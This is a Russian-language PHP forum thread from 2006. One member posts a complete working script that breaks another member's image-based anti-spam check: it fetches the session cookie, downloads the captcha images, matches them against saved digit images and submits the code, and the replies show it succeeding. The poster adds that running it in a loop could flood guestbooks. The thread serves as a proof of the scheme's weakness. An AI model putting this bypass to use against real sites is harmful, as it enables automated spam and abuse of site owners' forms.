|
|
|
| В теме http://softtime.ru/forum/read.php?id_forum=1&id_theme=28074&page=1
Гончий пёс предложил в качестве защиты от автопостинга скрипт на рисунках, без использования библиотеки GD...
ну вообщем я говорил что этот скрипт уязвим...
сейчас это докажу!
в 20 строчек конешно не уложился, но...
<?php
$hostname = "192.168.1.1"; #####################################################
$path = "/hack/img/index.php"; #################################################
$fp = fsockopen($hostname, 80, $errno, $errstr, 30);
if (!$fp) echo "$errstr ($errno)<br />\n";
else {
$headers = "GET $path HTTP/1.1\r\n";
$headers .= "Host: $hostname\r\n";
$headers .= "Connection: Close\r\n\r\n";
fwrite($fp, $headers);
while (!feof($fp)) {
$line = fgets($fp, 1024);
preg_match("|Set-Cookie: PHPSESSID=([\d\w]+);|i",$line,$out);
if(!empty($out[1])) {
$sid = $out[1];
break;
}
}
fclose($fp);
//$hostname = "192.168.1.1"; ###############################################
for ($x=1;$x<=4;$x++) {
$path = "/hack/img/picture.php?p=".$x; #################################
$fp = fsockopen($hostname,80,$errno,$errstr,30);
if(!$fp) echo "$errstr ($errno)<br />\n";
else {
$data = "p=".urlencode($x)."\r\n\r\n";
$headers = "POST $path HTTP/1.1\r\n";
$headers .= "Host: $hostname\r\n";
$headers .= "Content-type: application/x-www-form-urlencoded\r\n";
$headers .= "Content-Length: ".strlen($data)."\r\n";
$headers .= "Cookie: PHPSESSID=$sid;\r\n";
$headers .= "Connection: Close\r\n\r\n";
fwrite($fp, $headers.$data);
$text = "";
while($text != "\r\n") $text = fgets($fp,128);
$text = "";
while(!feof($fp)) $text .= fgets($fp,262144);
fclose($fp);
echo "<b><h2>Содержимое рисунка ".$x.":</h2></b>\n".$text."<br><br><br>";
}
$current_imgs_content[$x] = $text;
}
@mkdir("img", 0777);
$dir = dir("img");
$img_names = "";
while ($file = $dir->read()) {
if(is_file("img/".$file)) {
$w = fopen("img/".$file,"rb");
$imgs_content[$file] = fread($w,262144);
}
}
$dir->close();
$final_key = "";
$perc = 0;
for($g=1;$g<=4;$g++) {
for($r=0;$r<count($imgs_content);$r++) {
$temp = similar_text($current_imgs_content[$g],$imgs_content[$r.".gif"],&$perc);
$perc_arr[$r] = $perc;
}
arsort($perc_arr);
$index = each($perc_arr);
$final_key .= $index[0];
}
//$hostname = "192.168.1.1"; ###############################################
$path = "/hack/img/handler.php"; ###########################################
$line = "";
$fp = fsockopen($hostname, 80, $errno, $errstr, 30);
if (!$fp) echo "$errstr ($errno)<br />\n";
else {
$data = "secure=".urlencode($final_key);
$headers = "POST $path HTTP/1.1\r\n";
$headers .= "Host: $hostname\r\n";
$headers .= "Content-type: application/x-www-form-urlencoded\r\n";
$headers .= "Content-Length: ".strlen($data)."\r\n";
$headers .= "Cookie: PHPSESSID=$sid;\r\n";
$headers .= "Connection: Close\r\n\r\n";
fwrite($fp, $headers.$data);
while (!feof($fp)) {
$line .= fgets($fp, 1024);
}
fclose($fp);
}
echo "<br><br>".$line."<br><br>";
}
?>
|
всё что ему надо это сохранённые рисунки)) в каталоге img
в аттаче архив со всей этой фигнёй...
так что Гончий пёс твой скрипт только и орёт "Правильно!" )))
он написан для самой последней версии)) твоего скрипта...
....если кто уже пробовал прикрутить подобную защиту от автопостига - советую открутить))))
я всего лиш хотел доказать что ничего надёжней GD - НЕТ!
....а если весь этот скрипт поместить в цикл... то он может хорошенько нагадить например в гостевухе) (в которой используется такая защита) | |
|
|
|
|
|
|
|
для: deman-b
(26.11.2006 в 19:54)
| | А нижеследующее с чем связано?:)
Содержимое рисунка1:
cb GIF89a
Содержимое рисунка2:
8d GIF89a
Содержимое рисунка3:
8d GIF89a
Содержимое рисунка4:
ca GIF89a
Notice: Undefined index: 10.gif in s:\home\testing\www\123\index.php on line 57
Notice: Undefined index: 11.gif in s:\home\testing\www\123\index.php on line 57
Notice: Undefined index: 12.gif in s:\home\testing\www\123\index.php on line 57
Notice: Undefined index: 10.gif in s:\home\testing\www\123\index.php on line 57
Notice: Undefined index: 11.gif in s:\home\testing\www\123\index.php on line 57
Notice: Undefined index: 12.gif in s:\home\testing\www\123\index.php on line 57
Notice: Undefined index: 10.gif in s:\home\testing\www\123\index.php on line 57
Notice: Undefined index: 11.gif in s:\home\testing\www\123\index.php on line 57
Notice: Undefined index: 12.gif in s:\home\testing\www\123\index.php on line 57
Notice: Undefined index: 10.gif in s:\home\testing\www\123\index.php on line 57
Notice: Undefined index: 11.gif in s:\home\testing\www\123\index.php on line 57
Notice: Undefined index: 12.gif in s:\home\testing\www\123\index.php on line 57 | |
|
|
|
|
|
|
|
для: Гончий пёс
(27.11.2006 в 15:35)
| | это значит что у тебя в каталоге img лежат ещё каких то три файйла ...
там должны лежать только рисунки от 0 до 9
у меня всё норма работает)
вот пример:
Содержимое рисунка1:
ca GIF89aіoooЎЎЎOOO???їїїЯЯЯ___ппп///ПППЏЏЏяяя!щ,wрЙщЋжРMS €$\·„иRNШFРЂОъ|Ђ0`aㆉЎgг;rЕ€Гц Bj"z=ROў!д+YAЙ4еґе XзС“№’DШ(h%X oiF 3JT\W}TUЊY”љ; 0
Содержимое рисунка2:
a2 GIF89aі???їїїпппПППЄЄЄ___///ЏЏЏoooOOOЯЯЯяяя!щ,OрЙI«•&иНѓ№ Ћ$0ЂeЄ\„аѕВ"W Q[О(м–Ђ€¬D ]q"4-'…‘тЙ?='Qбъ€Ь‡ВКm€>Ь„6< ?Ъоg; 0
Содержимое рисунка3:
ca GIF89aіoooЎЎЎOOO???їїїЯЯЯ___ппп///ПППЏЏЏяяя!щ,wрЙщЋжРMS €$\·„иRNШFРЂОъ|Ђ0`aㆉЎgг;rЕ€Гц Bj"z=ROў!д+YAЙ4еґе XзС“№’DШ(h%X oiF 3JT\W}TUЊY”љ; 0
Содержимое рисунка4:
b4 GIF89aі???OOOпппџџџїїїППП___sssЯЯЯЏЏЏ///ЇЇЇяяя!щ,aрЙI«eF№!d ””Ѓ°‘ H”Мґr Cбk\… FQђ)‹Ў”ґ vM ‚XD%SТ'JИb\Ўцzx¶M‚y}ми’¤Шп«УД'э,#}&W); 0
HTTP/1.1 200 OK Date: Mon, 27 Nov 2006 14:13:18 GMT Server: Apache/2.0.47 (Win32) X-Powered-By: PHP/5.0.2 Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Set-Cookie: PHPSESSID=nh7u3aleoe6qsh3vo656aa3if6; path=/ Connection: close Transfer-Encoding: chunked Content-Type: text/html; charset=win-1251 151
Правильно!
Полученые значения:8782
Настоящие значения:8782
|
я маленько модернизировал файл handler.php
дописав там такую строчку:
<?
print "<br>Полученые значения:".$_POST['secure']."<br>Настоящие значения:".$_SESSION['secure']."<br>";
?>
|
| |
|
|
|